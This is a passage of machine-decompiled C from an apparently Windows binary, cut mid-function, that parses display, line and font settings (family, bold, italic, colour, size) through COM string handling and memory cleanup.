																																																	 *_t1679 = 0;
																																																}
																																																_t1155 =  *(_t1679 + 4);
																																																__eflags = _t1155;
																																																if(_t1155 != 0) {
																																																	E6ED341CF(_t1155);
																																																	_t1714 = _t1714 + 4;
																																																	 *(_t1679 + 4) = 0;
																																																}
																																																_push(0xc);
																																																E6ED3416E(_t1679);
																																																_t1714 = _t1714 + 8;
																																															}
																																														}
																																														_v112 = 0;
																																													}
																																												}
																																											} else {
																																												_push( &_v68);
																																												_t1163 = E6ED27ED0(_t1406,  &_v104, _t1608, _t1621, _t1664, _t1764);
																																												_v16 = 0x10;
																																												_t1164 =  *_t1163;
																																												__eflags = _t1164;
																																												if(_t1164 == 0) {
																																													_t1608 = 0;
																																													__eflags = 0;
																																												} else {
																																													_t1608 =  *_t1164;
																																												}
																																												_t1541 = _t1608;
																																												_t439 = _t1541 + 2; // 0x2
																																												_t1680 = _t439;
																																												do {
																																													_t1165 =  *_t1541;
																																													_t1541 = _t1541 + 2;
																																													__eflags = _t1165;
																																												} while (_t1165 != 0);
																																												_push(_t1541 - _t1680 >> 1);
																																												_t1166 = E6ED2B860(_t1406, _v92 + 0x18, _t1621, _t1680, _t1764, _t1608);
																																												_t1681 = _v104;
																																												__eflags = _t1681;
																																												if(_t1681 != 0) {
																																													asm("lock xadd [esi+0x8], eax");
																																													__eflags = (_t1166 | 0xffffffff) == 1;
																																													if((_t1166 | 0xffffffff) == 1) {
																																														__eflags = _t1681;
																																														if(_t1681 != 0) {
																																															_t1169 =  *_t1681;
																																															__eflags = _t1169;
																																															if(_t1169 != 0) {
																																																__imp__#6(_t1169);
																																																 *_t1681 = 0;
																																															}
																																															_t1170 =  *(_t1681 + 4);
																																															__eflags = _t1170;
																																															if(_t1170 != 0) {
																																																E6ED341CF(_t1170);
																																																_t1714 = _t1714 + 4;
																																																 *(_t1681 + 4) = 0;
																																															}
																																															_push(0xc);
																																															E6ED3416E(_t1681);
																																															_t1714 = _t1714 + 8;
																																														}
																																													}
																																													_v104 = 0;
																																												}
																																											}
																																											_t1081 =  &_v68;
																																											__imp__#9(_t1081);
																																											asm("lock xadd [edi+0x8], eax");
																																											__eflags = (_t1081 | 0xffffffff) == 1;
																																											if((_t1081 | 0xffffffff) == 1) {
																																												_t1085 =  *_t1621;
																																												__eflags = _t1085;
																																												if(_t1085 != 0) {
																																													__imp__#6(_t1085);
																																													 *_t1621 = 0;
																																												}
																																												_t1086 = _t1621[2];
																																												__eflags = _t1086;
																																												if(_t1086 != 0) {
																																													E6ED341CF(_t1086);
																																													_t1714 = _t1714 + 4;
																																													_t1621[2] = 0;
																																												}
																																												_push(0xc);
																																												E6ED3416E(_t1621);
																																												_t1714 = _t1714 + 8;
																																											}
																																											_v16 = 4;
																																											_t1395 = __imp__#6;
																																											 *_t1395(_v44);
																																											_t1055 = _v32;
																																											_t1435 = _v96 + 1;
																																											_v96 = _t1435;
																																											__eflags = _t1435 - _v48;
																																											if(_t1435 < _v48) {
																																												continue;
																																											} else {
																																												goto L447;
																																											}
																																										}
																																									}
																																								} else {
																																									__eflags = _t1639;
																																									if(_t1639 != 0) {
																																										L456:
																																										_t1065 = E6ED37500(0x8007000e);
																																										L457:
																																										E6ED37500(_t1065);
																																										goto L458;
																																									} else {
																																										goto L297;
																																									}
																																								}
																																							}
																																						}
																																					}
																																				}
																																			}
																																		}
																																		goto L648;
																																	}
																																	goto L458;
																																}
																															}
																														}
																													}
																												}
																											} else {
																												_t1182 = _t1608;
																												goto L265;
																											}
																										}
																									}
																								} else {
																									_t1203 = MultiByteToWideChar(3, 0, "display", 0xffffffff, _t1621, _t1638);
																									__eflags = _t1203 - _t1638;
																									if(_t1203 != _t1638) {
																										L259:
																										__imp__#6(_t1621);
																										goto L260;
																									} else {
																										__imp__#314(_v36, _t1621, 0x400, 0);
																										_t1621 = __imp__#6;
																										_t1638 = _t1203;
																										 *_t1621(_t1621);
																										__eflags = _t1638 - 1;
																										if(_t1638 != 1) {
																											L233:
																											_v28 = 0;
																											_v12 = 0x1b;
																											_t1205 = _v32;
																											__eflags = _t1205;
																											if(__eflags == 0) {
																												goto L257;
																											} else {
																												_t1607 =  &_v28;
																												_v12 = 0x1b;
																												_v28 = 0;
																												_t1206 =  *((intOrPtr*)( *_t1205 + 0x40))(_t1205,  &_v28);
																												__eflags = _t1206;
																												if(_t1206 < 0) {
																													_v12 = 0x1d;
																													_t1207 = _v28;
																													__eflags = _t1207;
																													if(_t1207 != 0) {
																														 *((intOrPtr*)( *_t1207 + 8))(_t1207);
																													}
																													goto L250;
																												} else {
																													_t1430 = _v32;
																													_t1209 = _v28;
																													__eflags = _t1430 - _t1209;
																													if(_t1430 != _t1209) {
																														_t1638 = _t1209;
																														_v12 = 0x21;
																														__eflags = _t1638;
																														if(_t1638 != 0) {
																															 *((intOrPtr*)( *_t1209 + 4))(_t1209);
																															_t1430 = _v32;
																															_t1209 = _v28;
																														}
																														_v32 = _t1638;
																														_v12 = 0x22;
																														__eflags = _t1430;
																														if(_t1430 != 0) {
																															 *((intOrPtr*)( *_t1430 + 8))(_t1430);
																															_t1209 = _v28;
																														}
																													}
																													_v12 = 0x23;
																													__eflags = _t1209;
																													if(_t1209 != 0) {
																														_t1430 =  *_t1209;
																														 *((intOrPtr*)(_t1430 + 8))(_t1209);
																													}
																													 *_t1621(_v36);
																													_t1196 = _v32;
																													__eflags = _t1196;
																													if(_t1196 != 0) {
																														continue;
																													} else {
																														goto L243;
																													}
																												}
																											}
																										} else {
																											_v152 = 0;
																											asm("xorps xmm0, xmm0");
																											_v128 = 0;
																											_v104 = 0;
																											_v136 = 0;
																											_v132 = 7;
																											_v152 = 0;
																											_v112 = 0;
																											_v108 = 7;
																											_v128 = 0;
																											_v88 = 0;
																											_v84 = 7;
																											_v104 = 0;
																											_v80 = 0;
																											_v76 = 0;
																											asm("movsd [ebp-0x40], xmm0");
																											_v12 = 0x18;
																											_t1430 =  &_v32;
																											L278();
																											__eflags = 0;
																											if(0 != 0) {
																												_t1630 = _v176;
																												_push( &_v152);
																												_t1638 =  *(_t1630 + 0x2c);
																												__eflags = _t1638 -  *((intOrPtr*)(_t1630 + 0x30));
																												if(_t1638 ==  *((intOrPtr*)(_t1630 + 0x30))) {
																													_push(_t1638);
																													_t1430 = _t1630 + 0x28;
																													E6ED2C220(_t1395, _t1430, _t1630, _t1638, _t1764);
																												} else {
																													_v172 = _t1638;
																													E6ED2C830(_t1638, _t1764);
																													_v12 = 0x19;
																													E6ED2C830(_t1638 + 0x18, _t1764,  &_v128);
																													_v12 = 0x1a;
																													_t1430 = _t1638 + 0x30;
																													E6ED2C830(_t1430, _t1764,  &_v104);
																													asm("movsd xmm0, [ebp-0x40]");
																													 *((intOrPtr*)(_t1638 + 0x48)) = _v80;
																													 *((intOrPtr*)(_t1638 + 0x4c)) = _v76;
																													asm("movsd [esi+0x50], xmm0");
																													 *(_t1630 + 0x2c) =  *(_t1630 + 0x2c) + 0x58;
																												}
																												_t1621 = __imp__#6;
																											}
																											_v12 = 0x14;
																											_t1616 = _v84;
																											__eflags = _t1616 - 8;
																											if(_t1616 < 8) {
																												L225:
																												_t1617 = _v108;
																												__eflags = _t1617 - 8;
																												if(_t1617 < 8) {
																													L229:
																													_t1607 = _v132;
																													__eflags = _t1607 - 8;
																													if(_t1607 < 8) {
																														goto L233;
																													} else {
																														_t1430 = _v152;
																														_t1607 = 2 + _t1607 * 2;
																														_t1216 = _t1430;
																														__eflags = _t1607 - 0x1000;
																														if(_t1607 < 0x1000) {
																															L232:
																															_push(_t1607);
																															E6ED3416E(_t1430);
																															_t1712 = _t1712 + 8;
																															goto L233;
																														} else {
																															_t1430 =  *(_t1430 - 4);
																															_t1607 = _t1607 + 0x23;
																															__eflags = _t1216 - _t1430 + 0xfffffffc - 0x1f;
																															if(__eflags > 0) {
																																goto L258;
																															} else {
																																goto L232;
																															}
																														}
																													}
																												} else {
																													_t1430 = _v128;
																													_t1618 = 2 + _t1617 * 2;
																													_t1220 = _t1430;
																													__eflags = _t1618 - 0x1000;
																													if(_t1618 < 0x1000) {
																														L228:
																														_push(_t1618);
																														E6ED3416E(_t1430);
																														_t1712 = _t1712 + 8;
																														goto L229;
																													} else {
																														_t1430 =  *(_t1430 - 4);
																														_t1607 = _t1618 + 0x23;
																														__eflags = _t1220 - _t1430 + 0xfffffffc - 0x1f;
																														if(__eflags > 0) {
																															goto L258;
																														} else {
																															goto L228;
																														}
																													}
																												}
																											} else {
																												_t1430 = _v104;
																												_t1619 = 2 + _t1616 * 2;
																												_t1224 = _t1430;
																												__eflags = _t1619 - 0x1000;
																												if(_t1619 < 0x1000) {
																													L224:
																													_push(_t1619);
																													E6ED3416E(_t1430);
																													_t1712 = _t1712 + 8;
																													goto L225;
																												} else {
																													_t1430 =  *(_t1430 - 4);
																													_t1607 = _t1619 + 0x23;
																													__eflags = _t1224 - _t1430 + 0xfffffffc - 0x1f;
																													if(__eflags > 0) {
																														L258:
																														E6ED3D5F4(_t1395, _t1430, _t1607, __eflags);
																														goto L259;
																													} else {
																														goto L224;
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																							goto L648;
																						}
																						goto L257;
																					}
																				}
																			} else {
																				while(1) {
																					_t1638 = _v44;
																					__eflags = _t1638;
																					if(__eflags == 0) {
																						goto L257;
																					} else {
																						_t1430 =  *_t1638;
																						_t1621 =  *(_t1430 + 0x28);
																						_v12 = 5;
																						__eflags = _t1193;
																						if(_t1193 != 0) {
																							_t1430 =  *_t1193;
																							 *((intOrPtr*)(_t1430 + 8))(_t1193);
																						}
																					}
																					_v12 = 4;
																					_v40 = 0;
																					_t1238 =  *_t1621(_t1638, _t1395,  &_v40);
																					__eflags = _t1238;
																					if(_t1238 < 0) {
																						L207:
																						_t1412 = 0;
																						L246:
																						_v12 = 0x25;
																						_t1197 = _v40;
																						__eflags = _t1197;
																						if(_t1197 != 0) {
																							 *((intOrPtr*)( *_t1197 + 8))(_t1197);
																						}
																						L252:
																						_v12 = 0x26;
																						_t1550 = _v44;
																						__eflags = _t1550;
																						if(_t1550 != 0) {
																							_t1607 =  *_t1550;
																							 *((intOrPtr*)( *_t1550 + 8))(_t1550);
																						}
																						 *[fs:0x0] = _v20;
																						_pop(_t1629);
																						_pop(_t1682);
																						_pop(_t1413);
																						__eflags = _v24 ^ _t1693;
																						return E6ED34160(_t1412, _t1413, _v24 ^ _t1693, _t1607, _t1629, _t1682);
																					} else {
																						_v36 = 0;
																						_v12 = 8;
																						_t1239 = _v40;
																						__eflags = _t1239;
																						if(__eflags == 0) {
																							goto L257;
																						} else {
																							_t1430 =  *_t1239;
																							_t1607 =  &_v36;
																							_t1240 =  *((intOrPtr*)(_t1430 + 0x1c))(_t1239,  &_v36);
																							__eflags = _t1240;
																							if(_t1240 < 0) {
																								L206:
																								__imp__#6(_v36);
																								goto L207;
																							} else {
																								_t1241 = _v40;
																								__eflags = _t1241;
																								if(__eflags == 0) {
																									goto L257;
																								} else {
																									_t1430 =  *_t1241;
																									_t1607 =  &_v168;
																									__eflags =  *((intOrPtr*)(_t1430 + 0x20))(_t1241,  &_v168);
																									if(__eflags < 0) {
																										goto L206;
																									} else {
																										_t1638 = _v36;
																										_t1243 = E6ED3419F( &_v168, __eflags, 0xc);
																										_t1621 = _t1243;
																										_t1712 = _t1712 + 4;
																										_v228 = _t1621;
																										_v12 = 0xd;
																										__eflags = _t1621;
																										if(_t1621 == 0) {
																											_t1621 = 0;
																											__eflags = 0;
																											L83:
																											_v12 = 8;
																											_v28 = _t1621;
																											__eflags = _t1621;
																											if(__eflags == 0) {
																												goto L255;
																											} else {
																												_v12 = 0xe;
																												__imp__#8( &_v64);
																												_t1244 =  &_v64;
																												__imp__#10(_t1244,  &_v168);
																												__eflags = _t1244;
																												if(__eflags < 0) {
																													goto L256;
																												} else {
																													_v12 = 0xf;
																													_t1248 = E6ED27C80(_t1395,  &_v180, _t1607, __eflags, "fontFamily");
																													_t1565 =  &_v28;
																													_t1249 = E6ED27D80(_t1565, _t1248);
																													_t1683 = _v180;
																													_t1414 = _t1249;
																													__eflags = _t1683;
																													if(_t1683 != 0) {
																														asm("lock xadd [esi+0x8], ecx");
																														__eflags = (_t1565 | 0xffffffff) == 1;
																														if((_t1565 | 0xffffffff) == 1) {
																															__eflags = _t1683;
																															if(_t1683 != 0) {
																																_t1338 =  *_t1683;
																																__eflags = _t1338;
																																if(_t1338 != 0) {
																																	__imp__#6(_t1338);
																																	 *_t1683 = 0;
																																}
																																_t1339 =  *(_t1683 + 4);
																																__eflags = _t1339;
																																if(_t1339 != 0) {
																																	E6ED341CF(_t1339);
																																	_t1712 = _t1712 + 4;
																																	 *(_t1683 + 4) = 0;
																																}
																																_push(0xc);
																																E6ED3416E(_t1683);
																																_t1712 = _t1712 + 8;
																															}
																														}
																														_v180 = 0;
																													}
																													__eflags = _t1414;
																													if(__eflags == 0) {
																														_t1250 = E6ED27C80(_t1414,  &_v188, _t1607, __eflags, "fontBold");
																														_t1567 =  &_v28;
																														_t1251 = E6ED27D80(_t1567, _t1250);
																														_t1684 = _v188;
																														_t1415 = _t1251;
																														__eflags = _t1684;
																														if(_t1684 != 0) {
																															asm("lock xadd [esi+0x8], ecx");
																															__eflags = (_t1567 | 0xffffffff) == 1;
																															if((_t1567 | 0xffffffff) == 1) {
																																__eflags = _t1684;
																																if(_t1684 != 0) {
																																	_t1324 =  *_t1684;
																																	__eflags = _t1324;
																																	if(_t1324 != 0) {
																																		__imp__#6(_t1324);
																																		 *_t1684 = 0;
																																	}
																																	_t1325 =  *(_t1684 + 4);
																																	__eflags = _t1325;
																																	if(_t1325 != 0) {
																																		E6ED341CF(_t1325);
																																		_t1712 = _t1712 + 4;
																																		 *(_t1684 + 4) = 0;
																																	}
																																	_push(0xc);
																																	E6ED3416E(_t1684);
																																	_t1712 = _t1712 + 8;
																																}
																															}
																															_v188 = 0;
																														}
																														__eflags = _t1415;
																														if(__eflags == 0) {
																															_t1252 = E6ED27C80(_t1415,  &_v196, _t1607, __eflags, "fontItalic");
																															_t1569 =  &_v28;
																															_t1253 = E6ED27D80(_t1569, _t1252);
																															_t1685 = _v196;
																															_t1416 = _t1253;
																															__eflags = _t1685;
																															if(_t1685 != 0) {
																																asm("lock xadd [esi+0x8], ecx");
																																__eflags = (_t1569 | 0xffffffff) == 1;
																																if((_t1569 | 0xffffffff) == 1) {
																																	__eflags = _t1685;
																																	if(_t1685 != 0) {
																																		_t1308 =  *_t1685;
																																		__eflags = _t1308;
																																		if(_t1308 != 0) {
																																			__imp__#6(_t1308);
																																			 *_t1685 = 0;
																																		}
																																		_t1309 =  *(_t1685 + 4);
																																		__eflags = _t1309;
																																		if(_t1309 != 0) {
																																			E6ED341CF(_t1309);
																																			_t1712 = _t1712 + 4;
																																			 *(_t1685 + 4) = 0;
																																		}
																																		_push(0xc);
																																		E6ED3416E(_t1685);
																																		_t1712 = _t1712 + 8;
																																	}
																																}
																																_v196 = 0;
																															}
																															__eflags = _t1416;
																															if(__eflags == 0) {
																																_t1254 = E6ED27C80(_t1416,  &_v204, _t1607, __eflags, "fontColor");
																																_t1571 =  &_v28;
																																_t1255 = E6ED27D80(_t1571, _t1254);
																																_t1686 = _v204;
																																_t1417 = _t1255;
																																__eflags = _t1686;
																																if(_t1686 != 0) {
																																	asm("lock xadd [esi+0x8], ecx");
																																	__eflags = (_t1571 | 0xffffffff) == 1;
																																	if((_t1571 | 0xffffffff) == 1) {
																																		__eflags = _t1686;
																																		if(_t1686 != 0) {
																																			_t1292 =  *_t1686;
																																			__eflags = _t1292;
																																			if(_t1292 != 0) {
																																				__imp__#6(_t1292);
																																				 *_t1686 = 0;
																																			}
																																			_t1293 =  *(_t1686 + 4);
																																			__eflags = _t1293;
																																			if(_t1293 != 0) {
																																				E6ED341CF(_t1293);
																																				_t1712 = _t1712 + 4;
																																				 *(_t1686 + 4) = 0;
																																			}
																																			_push(0xc);
																																			E6ED3416E(_t1686);
																																			_t1712 = _t1712 + 8;
																																		}
																																	}
																																	_v204 = 0;
																																}
																																__eflags = _t1417;
																																if(__eflags == 0) {
																																	_t1256 = E6ED27C80(_t1417,  &_v212, _t1607, __eflags, "fontSize");
																																	_t1430 =  &_v28;
																																	_t1257 = E6ED27D80(_t1430, _t1256);
																																	_t1638 = _v212;
																																	_t1418 = _t1257;
																																	__eflags = _t1638;
																																	if(_t1638 != 0) {
																																		asm("lock xadd [esi+0x8], ecx");
																																		_t1430 = (_t1430 | 0xffffffff) - 1;
																																		__eflags = _t1430;
																																		if(_t1430 == 0) {
																																			__eflags = _t1638;
																																			if(_t1638 != 0) {
																																				_t1277 =  *_t1638;
																																				__eflags = _t1277;
																																				if(_t1277 != 0) {
																																					__imp__#6(_t1277);
																																					 *_t1638 = 0;
																																				}
																																				_t1278 =  *(_t1638 + 4);
																																				__eflags = _t1278;
																																				if(_t1278 != 0) {
																																					E6ED341CF(_t1278);
																																					_t1712 = _t1712 + 4;
																																					 *(_t1638 + 4) = 0;
																																				}
																																				_push(0xc);
																																				E6ED3416E(_t1638);
																																				_t1712 = _t1712 + 8;
																																			}
																																		}
																																		_v212 = 0;
																																	}
																																	__eflags = _t1418;
																																	if(_t1418 != 0) {
																																		_push( &_v64);
																																		_t1430 =  &_v216;
																																		_t1267 = E6ED27ED0(_t1418, _t1430, _t1607, _t1621, _t1638, _t1764);
																																		_v12 = 0x11;
																																		_t1687 =  *_t1267;
																																		__eflags = _t1687;
																																		if(_t1687 == 0) {
																																			_t1268 = 0;
																																			__eflags = 0;
																																		} else {
																																			_t1268 =  *(_t1687 + 4);
																																			__eflags = _t1268;
																																			if(_t1268 == 0) {
																																				 *(_t1687 + 4) = E6ED37520(_t1418,  *_t1687);
																																			}
																																		}
																																		E6ED4492F(_t1268);
																																		_t1270 = _v176;
																																		_t1712 = _t1712 + 4;
																																		_t1638 = _v216;
																																		 *((long long*)(_t1270 + 0x20)) = _t1764;
																																		__eflags = _t1638;
																																		if(_t1638 != 0) {
																																			asm("lock xadd [esi+0x8], eax");
																																			__eflags = (_t1270 | 0xffffffff) == 1;
																																			if((_t1270 | 0xffffffff) == 1) {
																																				__eflags = _t1638;
																																				if(_t1638 != 0) {
																																					_t1273 =  *_t1638;
																																					__eflags = _t1273;
																																					if(_t1273 != 0) {
																																						__imp__#6(_t1273);
																																						 *_t1638 = 0;
																																					}
																																					_t1274 =  *(_t1638 + 4);
																																					__eflags = _t1274;
																																					if(_t1274 != 0) {
																																						E6ED341CF(_t1274);
																																						_t1712 = _t1712 + 4;
																																						 *(_t1638 + 4) = 0;
																																					}
																																					_push(0xc);
																																					E6ED3416E(_t1638);
																																					_t1712 = _t1712 + 8;
																																				}
																																			}
																																			_v216 = 0;
																																		}
																																	}
																																} else {
																																	_push( &_v64);
																																	_t1575 =  *(E6ED27ED0(_t1417,  &_v208, _t1607, _t1621, _t1686, _t1764));
																																	__eflags = _t1575;
																																	if(_t1575 == 0) {
																																		_t1430 = 0;
																																		__eflags = 0;
																																	} else {
																																		_t1430 =  *_t1575;
																																	}
																																	_t1285 = E6ED27B30(_t1430, L"%lX", _v176 + 0x1c);
																																	_t1638 = _v208;
																																	_t1712 = _t1712 + 0xc;
																																	__eflags = _t1638;
																																	if(_t1638 != 0) {
																																		asm("lock xadd [esi+0x8], eax");
																																		__eflags = (_t1285 | 0xffffffff) == 1;
																																		if((_t1285 | 0xffffffff) == 1) {
																																			__eflags = _t1638;
																																			if(_t1638 != 0) {
																																				_t1288 =  *_t1638;
																																				__eflags = _t1288;
																																				if(_t1288 != 0) {
																																					__imp__#6(_t1288);
																																					 *_t1638 = 0;
																																				}
																																				_t1289 =  *(_t1638 + 4);
																																				__eflags = _t1289;
																																				if(_t1289 != 0) {
																																					E6ED341CF(_t1289);
																																					_t1712 = _t1712 + 4;
																																					 *(_t1638 + 4) = 0;
																																				}
																																				_push(0xc);
																																				E6ED3416E(_t1638);
																																				_t1712 = _t1712 + 8;
																																			}
																																		}
																																		_v208 = 0;
																																	}
																																}
																															} else {
																																_push( &_v64);
																																_t1298 =  *(E6ED27ED0(_t1416,  &_v200, _t1607, _t1621, _t1685, _t1764));
																																__eflags = _t1298;
																																if(_t1298 == 0) {
																																	_t1299 = 0;
																																	__eflags = 0;
																																} else {
																																	_t1299 =  *_t1298;
																																}
																																_t1300 = E6ED4409E(_t1416, _t1621, _t1685, _t1299, L"true");
																																_t1430 = _v176;
																																_t1712 = _t1712 + 8;
																																_t1638 = _v200;
																																__eflags = _t1300;
																																 *((char*)(_t1430 + 0x19)) = _t1300 & 0xffffff00 | _t1300 == 0x00000000;
																																__eflags = _t1638;
																																if(_t1638 != 0) {
																																	asm("lock xadd [esi+0x8], eax");
																																	__eflags = 0xfffffffffffffffe;
																																	if(0xfffffffffffffffe == 0) {
																																		__eflags = _t1638;
																																		if(_t1638 != 0) {
																																			_t1304 =  *_t1638;
																																			__eflags = _t1304;
																																			if(_t1304 != 0) {
																																				__imp__#6(_t1304);
																																				 *_t1638 = 0;
																																			}
																																			_t1305 =  *(_t1638 + 4);
																																			__eflags = _t1305;
																																			if(_t1305 != 0) {
																																				E6ED341CF(_t1305);
																																				_t1712 = _t1712 + 4;
																																				 *(_t1638 + 4) = 0;
																																			}
																																			_push(0xc);
																																			E6ED3416E(_t1638);
																																			_t1712 = _t1712 + 8;
																																		}
																																	}
																																	_v200 = 0;
																																}
																															}
																														} else {
																															_push( &_v64);
																															_t1314 =  *(E6ED27ED0(_t1415,  &_v192, _t1607, _t1621, _t1684, _t1764));
																															__eflags = _t1314;
																															if(_t1314 == 0) {
																																_t1315 = 0;
																																__eflags = 0;
																															} else {
																																_t1315 =  *_t1314;
																															}
																															_t1316 = E6ED4409E(_t1415, _t1621, _t1684, _t1315, L"true");
																															_t1430 = _v176;
																															_t1712 = _t1712 + 8;
																															_t1638 = _v192;
																															__eflags = _t1316;
																															 *((char*)(_t1430 + 0x18)) = _t1316 & 0xffffff00 | _t1316 == 0x00000000;
																															__eflags = _t1638;
																															if(_t1638 != 0) {
																																asm("lock xadd [esi+0x8], eax");
																																__eflags = 0xfffffffffffffffe;
																																if(0xfffffffffffffffe == 0) {
																																	__eflags = _t1638;
																																	if(_t1638 != 0) {
																																		_t1320 =  *_t1638;
																																		__eflags = _t1320;
																																		if(_t1320 != 0) {
																																			__imp__#6(_t1320);
																																			 *_t1638 = 0;
																																		}
																																		_t1321 =  *(_t1638 + 4);
																																		__eflags = _t1321;
																																		if(_t1321 != 0) {
																																			E6ED341CF(_t1321);
																																			_t1712 = _t1712 + 4;
																																			 *(_t1638 + 4) = 0;
																																		}
																																		_push(0xc);
																																		E6ED3416E(_t1638);
																																		_t1712 = _t1712 + 8;
																																	}
																																}
																																_v192 = 0;
																															}
																														}
																													} else {
																														_push( &_v64);
																														_t1329 = E6ED27ED0(_t1414,  &_v184, _t1607, _t1621, _t1683, _t1764);
																														_v12 = 0x10;
																														_t1620 =  *_t1329;
																														__eflags = _t1620;
																														if(_t1620 == 0) {
																															_t1607 = 0;
																															__eflags = 0;
																														} else {
																															_t1607 =  *_t1620;
																														}
																														_t1585 = _t1607;
																														_t184 = _t1585 + 2; // 0x2
																														_t1688 = _t184;
																														goto L99;
																														L99:
																														_t1330 =  *_t1585;
																														_t1585 = _t1585 + 2;
																														__eflags = _t1330;
																														if(_t1330 != 0) {
																															goto L99;
																														} else {
																															_push(_t1585 - _t1688 >> 1);
																															_t1430 = _v176;
																															_t1331 = E6ED2B860(_t1414, _t1430, _t1621, _t1688, _t1764, _t1607);
																															_t1638 = _v184;
																															__eflags = _t1638;
																															if(_t1638 != 0) {
																																asm("lock xadd [esi+0x8], eax");
																																__eflags = (_t1331 | 0xffffffff) == 1;
																																if((_t1331 | 0xffffffff) == 1) {
																																	__eflags = _t1638;
																																	if(_t1638 != 0) {
																																		_t1334 =  *_t1638;
																																		__eflags = _t1334;
																																		if(_t1334 != 0) {
																																			__imp__#6(_t1334);
																																			 *_t1638 = 0;
																																		}
																																		_t1335 =  *(_t1638 + 4);
																																		__eflags = _t1335;
																																		if(_t1335 != 0) {
																																			E6ED341CF(_t1335);
																																			_t1712 = _t1712 + 4;
																																			 *(_t1638 + 4) = 0;
																																		}
																																		_push(0xc);
																																		E6ED3416E(_t1638);
																																		_t1712 = _t1712 + 8;
																																	}
																																}
																																_v184 = 0;
																															}
																														}
																													}
																													_t1258 =  &_v64;
																													__imp__#9(_t1258);
																													asm("lock xadd [edi+0x8], eax");
																													__eflags = (_t1258 | 0xffffffff) == 1;
																													if((_t1258 | 0xffffffff) == 1) {
																														_t1262 =  *_t1621;
																														__eflags = _t1262;
																														if(_t1262 != 0) {
																															__imp__#6(_t1262);
																															 *_t1621 = 0;
																														}
																														_t1263 = _t1621[2];
																														__eflags = _t1263;
																														if(_t1263 != 0) {
																															E6ED341CF(_t1263);
																															_t1712 = _t1712 + 4;
																															_t1621[2] = 0;
																														}
																														_push(0xc);
																														E6ED3416E(_t1621);
																														_t1712 = _t1712 + 8;
																													}
																													_v12 = 4;
																													_t1621 = __imp__#6;
																													 *_t1621(_v36);
																													_t1395 = _v220 + 1;
																													_v220 = _t1395;
																													__eflags = _t1395 - _v48;
																													if(_t1395 >= _v48) {
																														goto L208;
																													} else {
																														_t1193 = _v40;
																														continue;
																													}
																												}
																											}
																										} else {
																											asm("xorps xmm0, xmm0");
																											asm("movq [edi], xmm0");
																											_t1621[4] = 0;
																											_t1621[2] = 0;
																											_t1621[4] = 1;
																											__imp__#2(_t1638);
																											 *_t1621 = _t1243;
																											__eflags = _t1243;
																											if(_t1243 != 0) {
																												goto L83;
																											} else {
																												__eflags = _t1638;
																												if(__eflags != 0) {
																													L255:
																													_t1244 = E6ED37500(0x8007000e);
																													L256:
																													E6ED37500(_t1244);
																													goto L257;
																												} else {
																													goto L83;
																												}
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																					goto L648;
																				}
																				goto L257;
																			}
																		}
																	}
																}
															}
														} else {
															_t842 = _t1607;
															goto L61;
														}
													}
												}
											} else {
												_t835 = _t1606;
												goto L54;
											}
										}
									}
								} else {
									_t1352 = MultiByteToWideChar(3, 0, "line", 0xffffffff, _t1621, _t1633);
									if(_t1352 != _t1633) {
										L48:
										__imp__#6(_t1621);
										goto L49;
									} else {
										__imp__#314(_v32, _t1621, 0x400, 0);
										_t1621 = __imp__#6;
										_t1633 = _t1352;
										 *_t1621(_t1621);
										if(_t1633 != 1) {
											L28:
											_v28 = 0;
											_v8 = 0xa;
											_t1354 = _v24;
											if(_t1354 == 0) {
												goto L45;
											} else {
												_t1605 =  &_v28;
												_v8 = 0xa;
												_push( &_v28);
												_push(_t1354);
												_v28 = 0;
												if( *((intOrPtr*)( *_t1354 + 0x40))() < 0) {
													_v8 = 0xc;
													_t1356 = _v28;
													__eflags = _t1356;
													if(_t1356 != 0) {
														 *((intOrPtr*)( *_t1356 + 8))(_t1356);
													}
													goto L44;
												} else {
													_t1425 = _v24;
													_t1358 = _v28;
													if(_t1425 != _t1358) {
														_t1633 = _t1358;
														_v8 = 0xe;
														if(_t1633 != 0) {
															 *((intOrPtr*)( *_t1358 + 4))(_t1358);
															_t1425 = _v24;
															_t1358 = _v28;
														}
														_v24 = _t1633;
														_v8 = 0xf;
														if(_t1425 != 0) {
															 *((intOrPtr*)( *_t1425 + 8))(_t1425);
															_t1358 = _v28;
														}
													}
													_v8 = 0x10;
													if(_t1358 != 0) {
														_t1425 =  *_t1358;
														 *((intOrPtr*)(_t1425 + 8))(_t1358);
													}
													 *_t1621(_v32);
													_t1345 = _v24;
													if(_t1345 != 0) {
														continue;
													} else {
														goto L38;
													}
												}
											}
										} else {
											_push(5);
											_v100 = 0;
											_v84 = 0;
											_v80 = 7;
											_v100 = 0;
											_t1365 = E6ED2B860(_t1395,  &_v100, _t1621, _t1633, _t1764, L"Arial");
											asm("movsd xmm0, [0x6ed66528]");
											_v76 = _t1633;
											_v72 = 0xffffff;
											asm("movsd [ebp-0x40], xmm0");
											_v60 = 0;
											_v56 = 0;
											_v52 = 0;
											_t1605 =  &_v100;
											_v8 = 4;
											L64();
											if(_t1365 == 0) {
												L24:
												_t1425 =  &_v60;
												_v8 = 2;
												E6ED2B7E0(_t1395, _t1425, _t1605, _t1621, _t1633, _t1764);
												_t1605 = _v80;
												if(_t1605 < 8) {
													goto L28;
												} else {
													_t1425 = _v100;
													_t1605 = 2 + _t1605 * 2;
													_t1367 = _t1425;
													if(_t1605 < 0x1000) {
														L27:
														_push(_t1605);
														E6ED3416E(_t1425);
														_t1709 = _t1709 + 8;
														goto L28;
													} else {
														_t1425 =  *(_t1425 - 4);
														_t1605 = _t1605 + 0x23;
														if(_t1367 - _t1425 + 0xfffffffc > 0x1f) {
															goto L47;
														} else {
															goto L27;
														}
													}
												}
											} else {
												_t1633 =  *(_t1395 + 4);
												_push( &_v100);
												if(_t1633 ==  *(_t1395 + 8)) {
													E6ED2C030(_t1395, _t1395, _t1621, _t1633, _t1764, _t1633);
													goto L24;
												} else {
													_t1425 = _t1633;
													_v116 = _t1633;
													E6ED2C830(_t1425, _t1764);
													 *((char*)(_t1633 + 0x18)) = _v76;
													 *((char*)(_t1633 + 0x19)) = _v75;
													 *(_t1633 + 0x1c) = _v72;
													asm("movsd xmm0, [ebp-0x40]");
													asm("movsd [esi+0x20], xmm0");
													_v8 = 5;
													_t1395 = _t1633 + 0x28;
													 *_t1395 = 0;
													 *(_t1395 + 4) = 0;
													 *(_t1395 + 8) = 0;
													_t1377 = _v56;
													_t1621 = _v60;
													_v108 = _t1395;
													_v104 = _t1377;
													if(_t1621 == _t1377) {
														L22:
														_t1395 = _v112;
														_t1621 = __imp__#6;
